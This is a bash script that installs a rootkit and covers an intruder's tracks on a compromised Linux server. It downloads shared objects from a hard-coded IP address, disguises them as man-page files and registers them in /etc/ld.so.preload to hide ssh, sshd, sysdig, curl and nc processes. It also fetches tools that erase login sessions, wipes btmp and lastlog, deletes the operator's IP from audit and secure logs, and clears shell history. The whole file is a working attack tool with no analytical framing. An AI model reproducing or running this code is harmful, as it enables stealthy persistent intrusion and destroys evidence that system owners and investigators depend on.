#!/bin/bash

PATH_TEMP_FILE="/tmp"

PATH_PS_INJ="/usr/share/man/man8"
PS_INJ_FILE_1="supermicro_ll.gz" #ssh
PS_INJ_FILE_2="supermicro_kk.gz" #sshd
PS_INJ_FILE_3="supermicro_gg.gz" #sysdig
PS_INJ_FILE_4="supermicro_pp.gz" #curl
PS_INJ_FILE_5="supermicro_ii.gz" #nc

IP_SERVER="31.214.157.40"

check_root ()
{
    if [ "$EUID" -ne 0 ]
        then echo "Please run as root"
        rm -rf $PATH_TEMP_FILE/q1.sh
        exit
    fi
}

check_wget ()
{
    if rpm -q wget
    then
        echo "WGET Found!"
    else
        echo "WGET Not Found."
        echo "Install WGET and clear yum log."
        yum install wget -y
        rm -rf /var/log/yum*
    fi
}

download_exploit ()
{
    if [ -f "$PATH_PS_INJ/$PS_INJ_FILE_1" ]; then
        printf "\n$PS_INJ_FILE_1 Found!\nSkipped Download.\n"
    else
        printf "\n[+] Download File http://$IP_SERVER/binaryinject.so\n"
        wget -q http://$IP_SERVER/binaryinject.so -O $PATH_PS_INJ/$PS_INJ_FILE_1
        chmod 777 $PATH_PS_INJ/$PS_INJ_FILE_1
    fi
    
    if [ -f "$PATH_PS_INJ/$PS_INJ_FILE_2" ]; then
        printf "\n$PS_INJ_FILE_2 Found!\nSkipped Download.\n"
    else
        printf "\n[+] Download File http://$IP_SERVER/binaryinject1.so\n\n"
        wget -q http://$IP_SERVER/binaryinject/binaryinject1.so -O $PATH_PS_INJ/$PS_INJ_FILE_2
        chmod 777 $PATH_PS_INJ/$PS_INJ_FILE_2
    fi

    if [ -f "$PATH_PS_INJ/$PS_INJ_FILE_3" ]; then
        printf "\n$PS_INJ_FILE_3 Found!\nSkipped Download.\n"
    else
        printf "\n[+] Download File http://$IP_SERVER/binaryinject2.so\n\n"
        wget -q http://$IP_SERVER/binaryinject/binaryinject2.so -O $PATH_PS_INJ/$PS_INJ_FILE_3
        chmod 777 $PATH_PS_INJ/$PS_INJ_FILE_3
    fi

   if [ -f "$PATH_PS_INJ/$PS_INJ_FILE_4" ]; then
        printf "\n$PS_INJ_FILE_4 Found!\nSkipped Download.\n"
    else
        printf "\n[+] Download File http://$IP_SERVER/binaryinject3.so\n\n"
        wget -q http://$IP_SERVER/binaryinject/binaryinject3.so -O $PATH_PS_INJ/$PS_INJ_FILE_4
        chmod 777 $PATH_PS_INJ/$PS_INJ_FILE_4
    fi

    if [ -f "$PATH_PS_INJ/$PS_INJ_FILE_5" ]; then
        printf "\n$PS_INJ_FILE_5 Found!\nSkipped Download.\n"
    else
        printf "\n[+] Download File http://$IP_SERVER/binaryinject4.so\n\n"
        wget -q http://$IP_SERVER/binaryinject/binaryinject4.so -O $PATH_PS_INJ/$PS_INJ_FILE_5
        chmod 777 $PATH_PS_INJ/$PS_INJ_FILE_5
    fi
}

who_injection ()
{
        read -n 1 -p "Do you want to WHO INJECT? (y/n): " whoinj
        case "$whoinj" in
            y|Y) printf "\n==WHO INJECT==\n"
                printf "\n[+] Download File utmp, wtmp\n"
                wget -q http://$IP_SERVER/utmp -P $PATH_TEMP_FILE/
                wget -q http://$IP_SERVER/wtmp -P $PATH_TEMP_FILE/
                chmod +x $PATH_TEMP_FILE/utmp $PATH_TEMP_FILE/wtmp
                printf "=============================\n"
                echo $(who)
                printf "=============================\n"
                read -p "Enter session (Example: pts/0): " SESS

                $PATH_TEMP_FILE/./utmp $SESS
                $PATH_TEMP_FILE/./wtmp $SESS
                ;;
            n|N) printf "\n==WHO INJECT SKIPPED==\n"
                true
                ;;
        esac
}

ps_injection ()
{
    printf "\n==PS INJECT==\n"
    download_exploit
    if grep -q $PS_INJ_FILE_1 /etc/ld.so.preload; then
        printf "Injection $PS_INJ_FILE_1 found in ld.so.preload\n"
    else
        printf "Inject $PS_INJ_FILE_1 in ld.so.preload\n"
        echo $PATH_PS_INJ/$PS_INJ_FILE_1 >> /etc/ld.so.preload
    fi

    if grep -q $PS_INJ_FILE_2 /etc/ld.so.preload; then
        printf "Injection $PS_INJ_FILE_2 found in ld.so.preload\n"
    else
        printf "Inject $PS_INJ_FILE_2 in ld.so.preload\n"
        echo $PATH_PS_INJ/$PS_INJ_FILE_2 >> /etc/ld.so.preload
    fi

    if grep -q $PS_INJ_FILE_3 /etc/ld.so.preload; then
        printf "Injection $PS_INJ_FILE_3 found in ld.so.preload\n"
    else
        printf "Inject $PS_INJ_FILE_3 in ld.so.preload\n"
        echo $PATH_PS_INJ/$PS_INJ_FILE_3 >> /etc/ld.so.preload
    fi

    if grep -q $PS_INJ_FILE_4 /etc/ld.so.preload; then
        printf "Injection $PS_INJ_FILE_4 found in ld.so.preload\n"
    else
        printf "Inject $PS_INJ_FILE_4 in ld.so.preload\n"
        echo $PATH_PS_INJ/$PS_INJ_FILE_4 >> /etc/ld.so.preload
    fi

    if grep -q $PS_INJ_FILE_5 /etc/ld.so.preload; then
        printf "Injection $PS_INJ_FILE_5 found in ld.so.preload\n"
    else
        printf "Inject $PS_INJ_FILE_5 in ld.so.preload\n"
        echo $PATH_PS_INJ/$PS_INJ_FILE_5 >> /etc/ld.so.preload
    fi
}

clear_log ()
{
    printf "\n[+] CLEAR LOG FILE\n"
    echo > /var/log/btmp
    printf "[+] btmp clear.\n"
    echo > /var/log/lastlog
    printf "[+] lastlog clear.\n"
    rm -rf $PATH_TEMP_FILE/utmp* $PATH_TEMP_FILE/wtmp* $PATH_TEMP_FILE/q1.sh*
    printf "[+] utmpm, wtmp, q1.sh delete.\n"
    history -c
}

unset_perm_file ()
{
        chattr -i  /var/log/wtmp
        chattr -i  /var/log/btmp
        chattr -i  /var/log/lastlog
        chattr -i  /var/run/utmp
}

set_perm_file ()
{
        chattr +i  /var/log/wtmp
        chattr +i  /var/log/btmp
        chattr +i  /var/log/lastlog
        chattr +i  /var/run/utmp
}

clear_log1 ()
{
        printf "CLEAR LOG"
        read -p "Enter your IP: " IP_CLEAR
        sed -i "/$IP_CLEAR/d" /var/log/audit/*
        sed -i "/$IP_CLEAR/d" /var/log/secure*
        sed -i "/supermicro/d" /var/log/audit/*
        rm -rf /var/log/yum*
}




main ()
{
    check_root
    check_wget
    who_injection
    ps_injection
    unset_perm_file
    clear_log
    set_perm_file
    clear_log1
}
main
